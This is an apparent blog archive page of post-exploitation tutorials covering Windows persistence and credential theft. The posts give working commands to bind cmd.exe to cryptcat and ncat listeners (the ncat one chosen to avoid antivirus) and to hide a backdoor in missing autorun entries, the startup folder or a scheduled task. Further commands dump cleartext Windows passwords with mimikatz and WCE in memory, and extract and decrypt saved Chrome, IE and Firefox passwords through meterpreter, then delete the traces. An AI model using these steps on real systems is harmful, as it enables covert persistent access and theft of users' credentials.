KNOX D3: post-exploitation

Showing posts with label post-exploitation. Show all posts

Backdoor using Netcat, cryptcat , ncat.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are gonna talk about Netcat & its alternative ; i assume that all of you are familiar with Netcat. If not than <a href="http://en.wikipedia.org/wiki/Netcat" target="_blank">read here</a>.  Also i assume that you have already open port 455 using following command.<br /><br />netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL<br /><br />Attacker `s I.P : 192.168.56.1<br /><br />Victim`s I.P.     : 192.168.56.101<br /><div class="separator" style="clear: both; text-align: center;"></div><br /><div class="separator" style="clear: both; text-align: center;"></div>We will talk about Netcat, cryptcat & ncat.<br /><br /><h3 style="text-align: left;">(A)Netcat:-</h3><div style="text-align: left;"><br />Netcat is used as backdoor. After gaining access to machine , we are creating "netcat" as startup service using changes to the system registry . And then we are gonna open port for communication. At attacker side just start  netcat listener. <a href="http://www.offensive-security.com/metasploit-unleashed/Netcat_Backdoor" target="_blank">Here</a> is tutorial on <a href="http://www.offensive-security.com/metasploit-unleashed/Netcat_Backdoor" target="_blank">how to create netcat backdoor?</a> <br /><br />But if you know about method used in that tutorial ; there are some disadvantages of using netcat.<br /><br />(1)Most of AV flag netcat as hacking tool :- I know You can use crypter , but still general behavior detection  possible by AV.</div><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzABJ6AyRz4h1ZnLW4YMqHLVXtHI27WTeipyCS1uPOuyaL-3tE2q9D2zVGOf6ZP3jMSB_8QHONB6ay4YXr9FoN0RvPpPnyBdjflOnCRe8Gs1Q_uLFosqD2YnLcrt-gjp3aNtr8X6zkWDFq/s1600/netcat-virus.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="netcat-virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzABJ6AyRz4h1ZnLW4YMqHLVXtHI27WTeipyCS1uPOuyaL-3tE2q9D2zVGOf6ZP3jMSB_8QHONB6ay4YXr9FoN0RvPpPnyBdjflOnCRe8Gs1Q_uLFosqD2YnLcrt-gjp3aNtr8X6zkWDFq/s1600/netcat-virus.PNG" title="netcat-virustotal" /></a></div><br /><div style="text-align: center;"><a href="https://www.virustotal.com/en/file/be4211fe5c1a19ff393a2bcfa21dad8d0a687663263a63789552bda446d9421b/analysis/" target="_blank">Virustotal link of netcat</a></div><br />(2)Clear text communication (No encryption):-anyone from same network can view your communication.Also due to clear text communication firewall or AV can popup & block our communication.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHK6ELaV4hw_PVV1jyNPv5zNgoM9QU2KHINwT8K7kYFPztSL3_L6ifvDYPauht_Mfr1eVBLnf7ehGF9GxCcCS5zmPLgWKI0tls547_7WxyxiwYZC641Z3_lcK0yWfsCT99__hweUv_8XF/s1600/netcat_wireshark.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="netcat-capture-traffic-using-wireshark" border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbHK6ELaV4hw_PVV1jyNPv5zNgoM9QU2KHINwT8K7kYFPztSL3_L6ifvDYPauht_Mfr1eVBLnf7ehGF9GxCcCS5zmPLgWKI0tls547_7WxyxiwYZC641Z3_lcK0yWfsCT99__hweUv_8XF/s320/netcat_wireshark.PNG" title="netcat-capture-traffic-using-wireshark" width="320" /></a></div><a name="more"></a><br />(3)No authentication:- anyone can start listner to connect back to our backdoor , because there is no mechanism to verify that user are authorized or not. <br /><br /><div style="text-align: left;"><br /></div><h3 style="text-align: left;">(B)Cryptcat:-</h3><div style="text-align: left;"><br />Cryptcat is same as netcat but in advanced it provide encryption & authentication mechanism.<br /><br /></div><div style="text-align: left;"><h4 style="text-align: left;"><b>How to install cryptcat?</b></h4></div><div style="text-align: left;"><br />In case of backtrack , apt-get install cryptcat .<br /><br />If you are in other linux OS , then you have to manually installed it from source ; because in repository it does not come with e option , so we can not bind any program to it.<br /><br />So download source from <a href="http://sourceforge.net/projects/cryptcat/" target="_blank">here</a> .</div><br />unzip it , change directory & enter following command<br /><br />make unix<br /><br />To make exe(windows compatible) from source , use visual studio.<br /><br />root@bt:~# cryptcat -h<br />[v1.10]<br />connect to somewhere:    nc [-options] hostname port[s] [ports] ... <br />listen for inbound:            nc -l -p port [-options] [hostname] [port]<br />options:<br />    -e prog            program to exec after connect [dangerous!!]<br />    -g gateway      source-routing hop point[s], up to 8<br />    -G num            source-routing pointer: 4, 8, 12, ...<br />    -h                     this cruft<br />    -k secret          set the shared secret<br />    -i secs              delay interval for lines sent, ports scanned<br />    -l                      listen mode, for inbound connects<br />    -n                     numeric-only IP addresses, no DNS<br />    -o file               hex dump of traffic<br />    -p port             local port number<br />    -r                     randomize local and remote ports<br />    -s addr             local source address<br />    -u                     UDP mode<br />    -v                     verbose [use twice to be more verbose]<br />    -w secs            timeout for connects and final net reads<br />    -z                     zero-I/O mode [used for scanning]<br /><br />Most of options are same as netcat, but look at new option as -k , it provide password for communication.<br /><br />On victim machine type following command<br /><br />cryptcat -Ldp 455 -e cmd.exe<br /><br />On attacker side , setup listner<br /><br />cryptcat 192.168.56.101 455<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASTssC5nmYEYlwRkc8A9UzUkxWH2N35DnKTqNTrKlx9jMl_1X5tMk4XWASFZTrCj0hGwmI1U1SpdnfmN-tN1Yg7BDfzrxkJpNALVlQncCgfMmD30sJpjfsxP8j0qzlLhEdEvIbWg5FWTh/s1600/cryptcat.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="backdoor-using-cryptcat" border="0" height="98" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgASTssC5nmYEYlwRkc8A9UzUkxWH2N35DnKTqNTrKlx9jMl_1X5tMk4XWASFZTrCj0hGwmI1U1SpdnfmN-tN1Yg7BDfzrxkJpNALVlQncCgfMmD30sJpjfsxP8j0qzlLhEdEvIbWg5FWTh/s400/cryptcat.PNG" title="backdoor-using-cryptcat" width="400" /></a></div><br />Look at following figure ; where we capture traffic using wireshark ; it`s encrypted.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmn6rBrNngLKXTKrZLuxLwls7dHPfDG8TJNkBwD6Vpfv8wwvcMoRLesipcDduUdtt-bSOZfqA-ulK7lhtFU17nQZ4pPsV8SNx6XL5h-4ppbSmsVMQkFK-q4kKVt1Lad-crwHJRjvMJ835t/s1600/cryptcat-capture-traffic-wireshark.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat-capture-traffic" border="0" height="245" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmn6rBrNngLKXTKrZLuxLwls7dHPfDG8TJNkBwD6Vpfv8wwvcMoRLesipcDduUdtt-bSOZfqA-ulK7lhtFU17nQZ4pPsV8SNx6XL5h-4ppbSmsVMQkFK-q4kKVt1Lad-crwHJRjvMJ835t/s320/cryptcat-capture-traffic-wireshark.PNG" title="cryptcat-capture-traffic" width="320" /></a></div><br />You can also provide -k option for authentication.So in case of cryptcat we got authentication & encryption.<br /><br />But still it detected by AV.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVjNi7392F8zNJti7kjG0ywHIfaSh5I5IjOHE1lxiqY3p7MH2Odml6DqF1LM44WMT2X4GgrZni4aY78MgB4CjNhHUfnkKyPjsIQ3i5GmX9ma9WRWI5pHM920k6PbemsA8CdxrVlkgLrQbL/s1600/crptcat-virustotal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVjNi7392F8zNJti7kjG0ywHIfaSh5I5IjOHE1lxiqY3p7MH2Odml6DqF1LM44WMT2X4GgrZni4aY78MgB4CjNhHUfnkKyPjsIQ3i5GmX9ma9WRWI5pHM920k6PbemsA8CdxrVlkgLrQbL/s1600/crptcat-virustotal.PNG" title="cryptcat virustotal" /></a></div>                                           <a href="https://www.virustotal.com/en/file/71fdaf9ce3a4ae5843c526452746b7bd2ec80e84513b6ffbc47c63aa95dc8164/analysis/1382614430/" target="_blank"> Virustotal link</a><br /><br /><h3 style="text-align: left;">(3)Ncat:-</h3><div style="text-align: left;"><br />Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat.Ncat  come with nmap , so in attacker side we have already installed ncat. </div><br />To download ncat for windwos click <a href="http://nmap.org/dist/ncat-portable-5.59BETA1.zip" target="_blank">here</a>.<br /><br />View man page of ncat or ncat --help ; it has so many option.<br /><br />For encryption & authentication you can use ssl ,ssl cert, ssl key ,ssl verify.<br /><br />on victim side:-<br /><br />ncat -lvp 455 --ssl -e cmd.exe --allow 192.168.56.1<br /><br />I encrypt communication using ssl & only allow 192.168.56.1 ip to connect back.It`s possible to connect back using spoofing I.P.<br /><br />on attacker side<br /><br />ncat 192.168.56.101 445 --ssl<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGTQHUil5sfpY-7ltUe_5uQVYFPYVSH-gKthaH6-heTdVgD7db22ZghkbLKMfbAGzMFebM3QCtosQWSweG7TgvW-QnkCRTnybdTwnKSXaaaRCjhc_UNAmRD_ijapRz-y82l9_tbeqcFHP6/s1600/ncat-ssl.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="ncat-backdoor" border="0" height="100" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGTQHUil5sfpY-7ltUe_5uQVYFPYVSH-gKthaH6-heTdVgD7db22ZghkbLKMfbAGzMFebM3QCtosQWSweG7TgvW-QnkCRTnybdTwnKSXaaaRCjhc_UNAmRD_ijapRz-y82l9_tbeqcFHP6/s400/ncat-ssl.PNG" title="ncat-backdoor" width="400" /></a></div><br />And it does not detected by AV.<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7ziLFR3mJLtwQiEQN_EmeuXtj43-uW7gtrpiccG40Oa2NYdHQsocQJW-y3g3McDwfS2v9ZmPHOu-0OHUqpsgvkph6v4hA32vfsX7DLUHgjX0e1x8VzteqtlSRufDpOUzXu3S692gLZ-48/s1600/ncat-virustotal.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="cryptcat virustotal" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7ziLFR3mJLtwQiEQN_EmeuXtj43-uW7gtrpiccG40Oa2NYdHQsocQJW-y3g3McDwfS2v9ZmPHOu-0OHUqpsgvkph6v4hA32vfsX7DLUHgjX0e1x8VzteqtlSRufDpOUzXu3S692gLZ-48/s1600/ncat-virustotal.PNG" title="ncat-virustotal" /></a></div><br /><div style="text-align: center;"><a href="https://www.virustotal.com/en/file/5e107ea10383110bd801fb7de11f59ee35f02b8e1defcadf34c0e3e769df9341/analysis/" target="_blank">Virustotal Link</a></div><div style="text-align: center;"><br /></div>So with help of ncat , we can get around of our problems which are no-authentication, no-encryption, caught by AV.</div>

Backdoor using Netcat, cryptcat , ncat.

Today we are gonna talk about Netcat & its alternative ; i assume that all of you are familiar with Netcat. If not than read here . Als...

+ Read more »

Get shell using Missing Autoruns.

<div dir="ltr" style="text-align: left;" trbidi="on">In <a href="http://tipstrickshack.blogspot.com/2013/10/schedule-task-in-windows-after.html" target="_blank">previous post</a> we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access of compromised pc.<br /><br />(A)When we install program in windows environment , some of them are asking to run at startup times. So these program write its value to windows registry & whenever pc is restarted , program will run in background.When uninstallation of program is not completed ; then it fails to remove its value from registry. So it`s called Missing Autoruns.<br /><br />After compromised pc ; we have to find missing autoruns in victim machine.For this purpose we will use sysinternal `s autorunsc.exe.<br /><br />(1)Get meterpreter shell.<br /><br />(2)Upload sysinternal`s autoruns.exe & autorun.exe to victim machine.<br /><br />(3)Now from uploaded directory execute following command to get missing autoruns of machine<br /><br />autorunsc.exe -a | findstr /n /R "File\ not\ found"<br /><br />(4)Now we have list of file which is missing ; these files are run at startup time.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOuKLa7BKuuCuU3wgVekRJCIawIMrbUOiqES2tRxLYqXgq5LM6EIz8uHxHip6PxZqGicdUmnXXbVmUCY8bvNIcQj1XR36lNRRmBpyapLebKyVJXlN1zR4BjeVq6x2pea5kUVrexHVCxIdg/s1600/autoruns-upload.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="missing-autoruns" border="0" height="260" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOuKLa7BKuuCuU3wgVekRJCIawIMrbUOiqES2tRxLYqXgq5LM6EIz8uHxHip6PxZqGicdUmnXXbVmUCY8bvNIcQj1XR36lNRRmBpyapLebKyVJXlN1zR4BjeVq6x2pea5kUVrexHVCxIdg/s400/autoruns-upload.PNG" title="missing-autoruns" width="400" /></a></div><br /><a name="more"></a><br />(5)In my case you can see that uTorrent.exe is missing .<br /><br />(6)So now i rename my backdoor to uTorrent .exe & uploaded to the path where it`s not found.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHM2DFsRrdlAoy638wc3kg9gPQr9gLWvUazwmTg1oO7isAgV0AwUwAM5hxFmcWYP9xn_oN-E55BI3Hl1om2NJbKHlSRb2Jy1SBhS8lU18HxFibM-1ndNg0mK-oRf5bOVcsmzNknPeoOQH/s1600/upload-missing-autoruns.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="upload-backdoor" border="0" height="35" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbHM2DFsRrdlAoy638wc3kg9gPQr9gLWvUazwmTg1oO7isAgV0AwUwAM5hxFmcWYP9xn_oN-E55BI3Hl1om2NJbKHlSRb2Jy1SBhS8lU18HxFibM-1ndNg0mK-oRf5bOVcsmzNknPeoOQH/s320/upload-missing-autoruns.PNG" title="upload-backdoor" width="320" /></a></div><br />Now whenever machine is restarted you get shell.(Don`t forget to running multi/handler!!!)<br /><br />For just POC ; you can run autorunsc.exe again to find out whether  our backdoor (uTorrent.exe) is written successfully or not?<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM88CCbSuCIp6fm85uPmN9jFpI9FdD38r-1GkCzUE6RTnPinQi162aB209L1lStmwjM6wfex_1AjBfypgHjXfp1X-S0D1FgU2IAaxHS7sOO539OSknCTFHJPzIPBAmPPeup_wqqRED1jh1/s1600/Not-Missing-autoruns.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="missing -autorun-backdoor" border="0" height="113" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjM88CCbSuCIp6fm85uPmN9jFpI9FdD38r-1GkCzUE6RTnPinQi162aB209L1lStmwjM6wfex_1AjBfypgHjXfp1X-S0D1FgU2IAaxHS7sOO539OSknCTFHJPzIPBAmPPeup_wqqRED1jh1/s320/Not-Missing-autoruns.PNG" title="missing -autorun-backdoor" width="320" /></a></div><br />In above image you can see that  uTorrent.exe is no longer missing which missed in previous step.<br /><br />(B)Now this is second method; but may be suspicious.<br /><br />When you put binary in start up folder it will run automatically when pc is started.<br /><br />Startup Folder Location in windows Xp:-<br /><br />C:\Documents and Settings\"nirav"\Start Menu\Programs\Startup<br /><br />Startup Folder location In windows 7:-<br /><br />C:\Users\username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup<br /><br />So upload your binary to start up folder ;make it hidden using following command.<br />attrb +h backdoor.exe<br />Restart machine & Hopefully you will get shell.</div>

Get shell using Missing Autoruns.

In previous post we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access o...

+ Read more »

Schedule Task in windows after Exploitation.

<div dir="ltr" style="text-align: left;" trbidi="on">Recently in Derbycon <a href="https://twitter.com/mubix" target="_blank">mubix</a> & <a href="https://twitter.com/carnal0wnage" target="_blank">carnal0wnage</a> present "windows attacks at is the new black ". It`s really great presentation . You can find it <a href="http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607" target="_blank">here</a>. So i will put  their method here.<br /><br />After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using <a href="http://tipstrickshack.blogspot.com/2013/08/bypass-av-using-veil-in-backtrack.html" target="_blank">Veil</a>.We can also create schedule task for our backdoor.<br /><br />First create one batch file , put following code in it<br /><br /><span style="color: red;">@echo off<br />"C:\Documents and Settings\nirav\Desktop\backdoor.exe"</span> <br /><br />Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor.<br /><br />Get clear text password:-<br /><br />Following are different methods to get clear text password of windows.<br /><br />(1)using <a href="http://tipstrickshack.blogspot.com/2013/03/get-clear-text-credentials-of-windows.html" target="_blank">mimikatz</a> or <a href="http://tipstrickshack.blogspot.com/2013/02/how-to-get-windows-passwords-in-plain.html" target="_blank">wce</a> get clear text password of victim.<br /><br />(2) You can also use <a href="http://tipstrickshack.blogspot.com/2013/08/mimikatz-alpha-to-get-clear-text.html" target="_blank">mimikatz password dump method </a>.<br /><br />(3)You can also use mimikatz meterpreter plugin which i used in this tutorial.<br /><br />   meterpreter > load mimikatz <br />   meterpreter > help mimikatz<br />   meterpreter > kerberos<br />   meterpreter > mimikatz_command -h<br />   meterpreter >  mimikatz_command -f sekurlsa::logonPasswords -a "full"<br /><br />(4)You can use wce & mimikatz in memory without uploading binary.<br /><br />(a)WCE in memory:-<br /><br />cd %systemroot%<br />cd system32<br />pwd<br />execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt" <br />cat foo.txt<br /><br />(b)Mimikatz in memory:-<br /><br />cd %systemroot%<br />cd system32<br />execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIRLj-zPYnecNlQSkaI9vGM_ie1YlsRHmcUEJT5tTV3s-d_iQtAHIEJgsVk4lC2Hjdm4OQGXXDpKWBlHfai_axAPQmERxTnXhP00wZJMsQe5blIkpxc_x3uyvJvqgP7hhltUSBgB1P2PD/s1600/upload&mimikatz.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="get-clear-text-password" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfIRLj-zPYnecNlQSkaI9vGM_ie1YlsRHmcUEJT5tTV3s-d_iQtAHIEJgsVk4lC2Hjdm4OQGXXDpKWBlHfai_axAPQmERxTnXhP00wZJMsQe5blIkpxc_x3uyvJvqgP7hhltUSBgB1P2PD/s1600/upload&mimikatz.PNG" title="get-clear-text-password" /></a></div>So till now i upload one batch file ; backdoor & get clear text password.<br /><br />Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit <a href="http://technet.microsoft.com/en-us/library/cc772785%28v=ws.10%29.aspx" target="_blank">here</a> . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell. <br /><br /><span style="color: red;">C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00</span><br /><br />It will ask to enter password which we got before. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPfF1WweVpTYTCx6J_1PEetjNxVtOsMPzSF-tJgNEEOvKGpPBQolsv185mHQF88odgJutJP_j8ZFzyL_WIxhuiCoEvDa4qunrENtqSl3L3ljffjWVTZKhRHDJumkX5v3wrEYXUiAlA0P0/s1600/schtasks.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="schedule-task" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioPfF1WweVpTYTCx6J_1PEetjNxVtOsMPzSF-tJgNEEOvKGpPBQolsv185mHQF88odgJutJP_j8ZFzyL_WIxhuiCoEvDa4qunrENtqSl3L3ljffjWVTZKhRHDJumkX5v3wrEYXUiAlA0P0/s1600/schtasks.PNG" title="schedule-task" /></a></div><br />You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.</div>

Schedule Task in windows after Exploitation.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . Y...

+ Read more »

Extract & decrypt Chrome & IE passwords from Remote PC

<div dir="ltr" style="text-align: left;" trbidi="on">In <a href="http://tipstrickshack.blogspot.com/2013/09/extract-decrypt-passwords-from-firefox.html" target="_blank">previous post</a> i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extract saved passwords from Google chrome & IE. If you want to know more technical detail you can visit this <a href="http://insecurety.net/?p=299" target="_blank">site</a>.<br /><br />Chrome stores all the sign-on secrets into the internal database file called 'Web data' in the current user profile folder. Newer version has moved the login passwords related database into new file named 'Login Data'.  DPAPI encrypts data based on either the DPAPI_SYSTEM values stored in LSA secrets or the user’s password, you can’t copy the database file to another machine and decrypt without using special tools as we did in case of mozilla.<br /><br /><br />First download tool ChromePasswordDecryptor from <a href="http://securityxploded.com/download.php#chromepassworddecryptor" target="_blank">here </a>.<br /><br />Installed it in windows.We are only interested in windows binary which is located on C:\Program Files\SecurityXploded . So from that directory copy binary ChromePasswordDecryptor.exe to our main OS(Backtrack).<br /><br />We are going to use two method to extract saved passwords from browser.<br /><br />(A)In this method we are going to upload our binary to victim pc using meterpreter shell & then we execute it.<br /><br />(1)Get meterpreter shell.<br /><br />(2)Upload ChromePasswordDecryptor.exe (Which we copy into Backtract from windows) to victim.<br /><br />(3)Execute it from shell using following command.<br />    ChromePasswordDecryptor.exe "pwd.txt"<br /><br /><a name="more"></a><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXE2nJmf4ZpeM6-tdcYawOXNCU6XgfITtOM9LToX4azTpiUfEdIHr84rtOKoF8RmHBrCxR8UfaxRAQcCS0SPDHcl9wSNFa46Z40pmqvvTANIBSshFlkhpg-fSaOsRpooL919OpCJOEJ-jV/s1600/chrome-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXE2nJmf4ZpeM6-tdcYawOXNCU6XgfITtOM9LToX4azTpiUfEdIHr84rtOKoF8RmHBrCxR8UfaxRAQcCS0SPDHcl9wSNFa46Z40pmqvvTANIBSshFlkhpg-fSaOsRpooL919OpCJOEJ-jV/s1600/chrome-1.png" /></a></div><br />(4)Download pwd.txt<br />    download pwd.txt /root<br /><br />(5)Remove pwd.txt from victim & also remove uploaded binary<br /><br />    rm ChromePasswordDecryptor.exe<br />    rm pwd.txt <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoZtSaFh1gF61GwGoqjljH0PnFcbD0405z2FZ1USDSBFsuxc8WONf3g5aH-YPik3svjl7kTdJba9_Qfaw1F1r03wLJJynN0YAyBWRyli1QGaR8Z8HEHu1vp4wQEGQRoOj4ZxeVCGmp51NR/s1600/chrome-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoZtSaFh1gF61GwGoqjljH0PnFcbD0405z2FZ1USDSBFsuxc8WONf3g5aH-YPik3svjl7kTdJba9_Qfaw1F1r03wLJJynN0YAyBWRyli1QGaR8Z8HEHu1vp4wQEGQRoOj4ZxeVCGmp51NR/s1600/chrome-2.png" /></a></div><div class="separator" style="clear: both; text-align: center;"></div><br /><br />(B)In this method we are going to execute it in memory ; so we do not have to upload it to victim ; but we need system priv for this method.<br /><br />(1)Get meterpreter shell<br /><br />(2)Get system priv.<br /><br />(3)Change directory to C://windows\system32<br /><br />(4)Execute it in memory using following command<br />execute -H -m -d calc.exe -f ChromePasswordDecryptor.exe -a "pwds.txt"<br /><br />(5)download pwds.txt<br />    download pwds.txt /root<br /><br />(6)Remove pwds.txt from victim<br />    rm pwds.txt<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9CTgAPMO3rdHY7K436mtMeKLzpwn11unWKF7AnGRD6eldiSDgUjs4TOLrUwD9H63M1wFuHL3C8CkaeGFcj4945ywMyVTRxRXjM0h_RivMcMPCs8oYc_8D23mGjx00ToSn6AMbsGAm6LL/s1600/chrome-in-memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO9CTgAPMO3rdHY7K436mtMeKLzpwn11unWKF7AnGRD6eldiSDgUjs4TOLrUwD9H63M1wFuHL3C8CkaeGFcj4945ywMyVTRxRXjM0h_RivMcMPCs8oYc_8D23mGjx00ToSn6AMbsGAm6LL/s400/chrome-in-memory.png" width="400" /></a></div><br />You can also used same method for IE also.Download file from <a href="http://securityxploded.com/download.php#iepassworddecryptor" target="_blank">here .</a><br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsqb4nOXQZQ64DAiSdVKi1e2evaUYqrpQmoFVaKCGYbL2utTGWzeOM9zH0ZCBSAdO2Vu9WGiapC2vzYSO0_sb5j4uXyM_oFhSPJnSJawrtUrkQRifGfD9WKvEpnfRiQedRP4THsIXH0H93/s1600/ie-in-memory.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsqb4nOXQZQ64DAiSdVKi1e2evaUYqrpQmoFVaKCGYbL2utTGWzeOM9zH0ZCBSAdO2Vu9WGiapC2vzYSO0_sb5j4uXyM_oFhSPJnSJawrtUrkQRifGfD9WKvEpnfRiQedRP4THsIXH0H93/s400/ie-in-memory.png" width="400" /></a></div></div>

Extract & decrypt Chrome & IE passwords from Remote PC

In previous post i mentioned how we can extract saved passwords from firefox & thunderbird from rempote PC. Today we are going to extra...

+ Read more »

Extract & decrypt passwords from Firefox & Thunderbird.

<div dir="ltr" style="text-align: left;" trbidi="on">Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from remote PC. Before some times ; i posted <a href="http://tipstrickshack.blogspot.com/2013/08/extract-skype-firefox-data-after.html" target="_blank">here</a> that how to extract information from saved sqlite database of skype, firefox, chrome using python script.<br /><br />Most of the morden browser save information in sqlite format. When user enter login information ; firefox asked user to remember password.If user click on remember password then this passwords are saved into firefox database in signons.sqlite. But passwords are encrypted. so just by downloading signons.sqlite we can not extract passwords from it. Signons.sqlite is useless without the key3.db file, which also resides in the profile folder of your application. Passwords in the signons.sqlite file is encrypted with TripleDES in CBC mode. The key used for the encryption is saved in key3.db and encrypted as well.<br /><br />Firefox Database path in windows:-<br /><br />[Windows XP]<br />C:\Documents and Settings\<user_name>\Application Data\Mozilla\Firefox\<random_name>.default<br /><br />[Windows Vista & Windows 7]<br />C:\Users\<user_name>\AppData\Roaming\Mozilla\Firefox\<random_name>.default<br /><br />Firefox Database path in linux <br />/root/.Mozilla/Firefox/Profile/<random_name>.default<br /><br />First we have to get meterpreter shell using any known vulnerability or using any <a href="http://tipstrickshack.blogspot.com/search/label/metasploit/" target="_blank">metasploit method</a>.<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnVAIGEKi9KZdIAO4gi6A3KvIE7akdyrfc3chqKYXbvGaAylwAfA16uKnpPvJm1SPgin__J94INdLNwu6iL-VEEztog-BFO4jXCCU91Wah-OzbJfQRX1-IHe4XgMe1vDrzeW98xN3np7K/s1600/directory.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="download_creds" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJnVAIGEKi9KZdIAO4gi6A3KvIE7akdyrfc3chqKYXbvGaAylwAfA16uKnpPvJm1SPgin__J94INdLNwu6iL-VEEztog-BFO4jXCCU91Wah-OzbJfQRX1-IHe4XgMe1vDrzeW98xN3np7K/s1600/directory.PNG" title="download_creds" /></a></div><br />Then we have to download three files from remote PC which are key3.db,signons.sqlite;cert8.db.You can use metasploit post module (use post/multi/gather/firefox_creds)for downloading this file or you can also download manually by browsing directory. <br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmfJzH48P6SQEUcFNBwZ53ZE7X7XTF5DJFNAdOhRQdAyB5MTv6Q03bnZjPDLvj0C_PoTg2Flg2JCqeEgrSnXN0vzQ2XundpUqFyS2slDrUt3dLvtEEOLrup1yV6yOkjefz8G7s9JFYKxb7/s1600/download.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="download_creds" border="0" 